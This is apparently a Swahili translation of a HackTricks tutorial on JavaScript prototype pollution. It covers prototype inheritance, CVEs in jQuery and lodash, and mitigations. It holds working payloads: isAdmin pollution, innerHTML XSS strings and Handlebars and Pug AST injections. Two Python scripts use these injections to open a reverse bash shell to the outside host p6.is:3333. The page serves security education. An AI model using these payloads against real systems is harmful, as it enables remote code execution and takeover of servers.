NodeJS - __proto__ & prototype Pollution

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Vitu katika JavaScript

Vitu katika JavaScript ni msingi wa mkusanyo wa jozi za funguo-na-thamani, inayojulikana kama mali. Kipengele kinaweza kuundwa kwa kutumia Object.create na null kama hoja ili kutoa kiumbe tupu. Njia hii inaruhusu uundaji wa kiumbe bila mali zozote zilizorithiwa.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Functions na Darasa katika JavaScript

Katika JavaScript, darasa na kazi zina uhusiano wa karibu, na kazi mara nyingi zikitumika kama wajenzi wa darasa. Licha ya kutokuwepo kwa msaada wa darasa wa asili katika JavaScript, wajenzi wanaweza kujifanya kama tabia ya darasa.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Vielezo katika JavaScript

JavaScript inaruhusu mabadiliko, uongezaji, au kufutwa kwa sifa za vielezo wakati wa uendeshaji. Uwezo huu unawezesha upanuzi wa kazi za darasa kwa njia ya kudumu.

Kazi kama vile toString na valueOf zinaweza kubadilishwa ili kubadilisha tabia zao, ikionyesha asili inayoweza kubadilika ya mfumo wa vielezo wa JavaScript.

Urithi

Katika programu inayotegemea vielezo, mali/majukumu huerithiwa na vitu kutoka kwa darasa. Darasa hizi huanzishwa kwa kuongeza mali/majukumu kwa kipengee kingine cha darasa au kwa kipengee tupu.

Ni muhimu kufahamu kwamba wakati mali inapoongezwa kwa kipengee kinachofanya kama vielezo kwa vitu vingine (kama vile myPersonObj), vitu vinavyorithi hupata ufikivu wa mali hii mpya. Hata hivyo, mali hii haionyeshwi moja kwa moja isipokuwa itaitwa wazi.

Uchafuzi wa __proto__

Kuchunguza Uchafuzi wa Vielezo katika JavaScript

Vitu vya JavaScript vinafafanuliwa na jozi za funguo-na-thamani na huerithi kutoka kwa vielezo vya Vitu vya JavaScript. Hii inamaanisha kubadilisha vielezo vya Kipengee kunaweza kuathiri vitu vyote katika mazingira.

Hebu tumie mfano tofauti kuonyesha:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Upatikanaji wa prototype ya Object unawezekana kupitia:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Kwa kuongeza mali kwa kigezo cha Object, kila kigezo cha JavaScript kitarithi mali hizi mpya:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

uchafuzi wa prototype

Kwa hali ambapo matumizi ya __proto__ yanazuiliwa, kubadilisha kigezo cha kazi ni mbadala:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Hii inaathiri vitu vilivyoundwa kutoka kwa konstrukta wa Vehicle, ikipewa mali za beep, hasWheels, honk, na isElectric.

Njia mbili za kuathiri vitu vya JavaScript kwa ujumla kupitia uchafuzi wa kielelezo ni pamoja na:

  1. Kuchafua Object.prototype moja kwa moja:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Kuchafua prototype ya constructor kwa muundo unaotumiwa mara kwa mara:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Baada ya operesheni hizi, kila kitu cha JavaScript kinaweza kutekeleza njia za goodbye na greet.

Kuchafua vitu vingine

Kutoka darasa hadi Object.prototype

Katika hali ambapo unaweza kuchafua kitu maalum na unahitaji kufikia Object.prototype unaweza kutafuta kwa kutumia kitu kama hiki:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Uchafuzi wa Elementi za Array

Tafadhali kumbuka kwamba unaweza kuchafua sifa za vitu katika JS, ikiwa una ufikiaji wa kuchafua array unaweza pia kuchafua thamani za array zinazopatikana kwa kutumia indeksi (kumbuka huwezi kubadilisha thamani, hivyo unahitaji kuchafua indeksi ambazo kwa namna fulani hutumiwa lakini hazijaandikwa).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Uchafuzi wa vipengele vya Html

Wakati wa kuzalisha kipengele cha HTML kupitia JS inawezekana kubadilisha sifa ya innerHTML ili iandike msimbo wa HTML usio na mpangilio. Wazo na mfano kutoka kwenye andiko hili.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Mifano

Mfano wa Msingi

Uchafuzi wa prototype hutokea kutokana na kasoro katika programu inayoruhusu kuandika upya mali kwenye Object.prototype. Hii inamaanisha kwamba tangu vitu vingi vinapata mali zao kutoka kwa Object.prototype

Mfano rahisi ni kuongeza thamani kwa mali isiyowekwa wazi ya kitu ambayo itachunguzwa, kama:

if (user.admin) {

Ikiwa sifa admin haipo inawezekana kutumia PP na kuweka kuwa Kweli kwa kitu kama:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Mbinu iliyopo nyuma ya hii inahusisha kubadilisha mali ili ikiwa muhusika ana udhibiti wa baadhi ya pembejeo fulani, wanaweza kubadilisha mfano wa vitu vyote katika programu. Udanganyifu huu kawaida unahusisha kuweka mali ya __proto__, ambayo, katika JavaScript, inalinganishwa na kubadilisha moja kwa moja mfano wa kitu.

Mazingira ambayo shambulio hili linaweza kutekelezwa kwa ufanisi, kama ilivyoelezwa katika utafiti maalum, ni pamoja na:

  • Kufanya muunganisho wa kurejea.

  • Kutambua mali kulingana na njia.

  • Kuiga vitu.

Kigeuzi wa Kazi

customer.__proto__.toString = ()=>{alert("polluted")}

Uchafuzi wa Proto hadi RCE

pagePrototype Pollution to RCE

Mizigo mingine:

Uchafuzi wa Proto wa upande wa Mteja hadi XSS

pageClient Side Prototype Pollution

CVE-2019–11358: Shambulio la uchafuzi wa Proto kupitia jQuery $ .extend

Kwa maelezo zaidi angalia makala hii Katika jQuery, kazi ya $ .extend inaweza kusababisha uchafuzi wa proto ikiwa kipengele cha kunakili kinafanyiwa kazi vibaya. Kazi hii mara nyingi hutumika kwa kunakili vitu au kufunga mali kutoka kwa kitu cha msingi. Walakini, wakati iliyopangwa vibaya, mali zilizokusudiwa kwa kitu kipya zinaweza kupewa proto badala yake. Kwa mfano:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Hii udhaifu, uliojulikana kama CVE-2019–11358, inaonyesha jinsi nakala ya kina inaweza kubadilisha kwa bahati mbaya kigezo, ikisababisha hatari za usalama, kama upatikanaji usioidhinishwa wa admin ikiwa mali kama isAdmin zinachunguzwa bila uthibitisho sahihi wa uwepo.

CVE-2018–3721, CVE-2019–10744: Shambulio la uchafuzi wa kigezo kupitia lodash

Kwa maelezo zaidi angalia makala hii

Lodash ilikumbana na udhaifu sawa wa uchafuzi wa kigezo (CVE-2018–3721, CVE-2019–10744). Masuala haya yalitatuliwa katika toleo la 4.17.11.

Mafunzo mengine yenye CVEs

Zana za kugundua Uchafuzi wa Kigezo

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Kifaa cha Burp Suite kilichoundwa kugundua na kuchambua udhaifu wa uchafuzi wa kigezo upande wa seva katika maombi ya wavuti. Zana hii inasogeza mchakato wa kutambua maombi ili kutambua masuala ya uchafuzi wa kigezo yanayowezekana. Inatumia vifaa vilivyothibitishwa - njia za kutumia uchafuzi wa kigezo kutekeleza vitendo vichafu - ikilenga hasa maktaba za Node.js.

  • server-side-prototype-pollution: Kifaa hiki kinatambua udhaifu wa uchafuzi wa kigezo upande wa seva. Hutumia mbinu zilizoelezwa katika uchafuzi wa kigezo upande wa seva.

Uchafuzi wa Kigezo wa AST katika NodeJS

NodeJS inatumia sana Miti ya Muhtasari ya Sintaksia (AST) katika JavaScript kwa kazi kama injini za templeti na TypeScript. Sehemu hii inachunguza udhaifu unaohusiana na uchafuzi wa kigezo katika injini za templeti, haswa Handlebars na Pug.

Uchambuzi wa Udhaifu wa Handlebars

Injini ya templeti ya Handlebars inaweza kushambuliwa na uchafuzi wa kigezo. Udhaifu huu unatokea kutokana na kazi maalum ndani ya faili ya javascript-compiler.js. Kwa mfano, kazi ya appendContent, inaunganisha pendingContent ikiwepo, wakati kazi ya pushSource inarejesha pendingContent kuwa undefined baada ya kuongeza chanzo.

Mchakato wa Uchexploitation

Uchexploitation unatumia Mti wa Muhtasari wa Sintaksia (AST) uliotengenezwa na Handlebars, ukifuata hatua hizi:

  1. Udanganyifu wa Parser: Kwanza, parser, kupitia kifungu cha NumberLiteral, inahakikisha kuwa thamani ni za nambari. Uchafuzi wa kigezo unaweza kuzunguka hili, kuruhusu uingizaji wa herufi zisizo za nambari.

  2. Kushughulikiwa na Compiler: Compiler inaweza kusindika AST Object au templeti ya herufi. Ikiwa input.type inalingana na Program, kuingizwa kwa awali hushughulikiwa, ambayo inaweza kuchexploit.

  3. Uingizaji wa Kanuni: Kupitia udanganyifu wa Object.prototype, mtu anaweza kuingiza kanuni za kupindukia kwenye kazi ya templeti, ambayo inaweza kusababisha utekelezaji wa kanuni za mbali.

Mfano unaoonyesha uchexploitation wa udhaifu wa Handlebars:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Hii kanuni inaonyesha jinsi mshambuliaji anaweza kuingiza kanuni ya kupendelea kwenye kigezo cha Handlebars.

Marejeleo ya Nje: Shida inayohusiana na uchafuzi wa prototype iligunduliwa kwenye maktaba ya 'flat', kama ilivyoelezwa hapa: Shida kwenye GitHub.

Marejeleo ya Nje: Shida inayohusiana na uchafuzi wa prototype kwenye maktaba ya 'flat'

Mfano wa shambulio la uchafuzi wa prototype kwa kutumia Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Upungufu wa Usalama wa Pug

Pug, injini nyingine ya templeti, inakabili hatari sawa ya uchafuzi wa prototype. Maelezo ya kina yanapatikana katika mjadala kuhusu Uingizaji wa AST katika Pug.

Mfano wa uchafuzi wa prototype katika Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Hatua za Kuzuia

Ili kupunguza hatari ya uchafuzi wa prototype, mikakati iliyoorodheshwa hapa chini inaweza kutumika:

  1. Usiobadilika wa Vitu: Object.prototype inaweza kufanywa isiyo badilika kwa kutumia Object.freeze.

  2. Uthibitishaji wa Kuingia: Vipimo vya JSON vinapaswa kuthibitishwa kwa uangalifu dhidi ya muundo wa programu.

  3. Vitu Salama vya Kuchanganya: Matumizi hatari ya kazi za kuchanganya za kurudia zinapaswa kuepukwa.

  4. Vitu Bila Prototype: Vitu bila mali za prototype zinaweza kuundwa kwa kutumia Object.create(null).

  5. Matumizi ya Ramani: Badala ya Object, Map inapaswa kutumika kuhifadhi jozi za funguo-malipo.

  6. Visasisho vya Maktaba: Visasisho vya usalama vinaweza kujumuishwa kwa kawaida kwa kusasisha maktaba mara kwa mara.

  7. Zana za Linter na Uchambuzi Statis: Tumia zana kama ESLint na programu-jalizi sahihi kugundua na kuzuia udhaifu wa uchafuzi wa prototype.

  8. Mapitio ya Msimbo: Tekeleza mapitio ya msimbo makini kugundua na kurekebisha hatari za uchafuzi wa prototype.

  9. Mafunzo ya Usalama: Elimisha watengenezaji kuhusu hatari za uchafuzi wa prototype na mazoea bora ya kuandika msimbo salama.

  10. Matumizi ya Maktaba kwa Tahadhari: Kuwa mwangalifu wakati wa kutumia maktaba za watu wa tatu. Thathmini msimamo wao wa usalama na pitia msimbo wao, hasa wale wanaobadilisha vitu.

  11. Kinga ya Wakati wa Uendeshaji: Tumia mbinu za kinga za wakati wa uendeshaji kama vile kutumia pakiti za npm zilizolenga usalama ambazo zinaweza kugundua na kuzuia mashambulio ya uchafuzi wa prototype.

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated